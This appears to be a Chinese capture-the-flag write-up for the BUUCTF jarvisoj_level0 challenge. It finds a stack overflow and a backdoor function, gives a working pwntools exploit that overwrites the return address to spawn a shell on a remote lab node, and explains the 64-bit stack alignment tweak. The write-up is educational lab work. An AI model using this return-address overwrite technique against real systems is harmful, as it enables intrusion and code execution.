BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
天若有情6731 小时前
开源SQL注入可视化演示项目|GitHub Pages+Netlify双平台免费部署教程
网络安全·代码审计·githubpages·sql 注入·web 安全·前端演示·netlify 部署
数据知道2 小时前
LDAP 与 AD 安全深度剖析——注入、弱绑定、权限配置错误
网络安全·密码学·哈希算法
躺柒2 小时前
读数据可视化34其他科学与艺术
网络安全·信息可视化·气象学·可视化·数据可视化·气候模型
数据知道15 小时前
加密流量分析——JA3 指纹、TLS 指纹识别与规避
网络·安全·网络安全·密码学
聚铭网络17 小时前
智能时代 网安护航 | 聚铭网络精彩亮相2026南京市网络安全宣传周活动
网络安全
爱学习的程序媛18 小时前
ICMP协议详解
网络·网络协议·网络安全·通信协议·icmp·网络运维
菩提小狗19 小时前
每日安全情报报告 · 2026-09-14
网络安全·漏洞·cve·安全情报·每日安全
三8441 天前
云安全· 01 · 云计算与云安全基础
网络安全·云计算·云安全
执念WRD1 天前
Fastjson 1.2.83 RCE 漏洞利用
网络·安全·网络安全
慧都小妮子1 天前
GB/T 44462.4-2026实施前,DataHub如何管好工业数据链路?
物联网·网络安全·数据安全·工业互联网·opc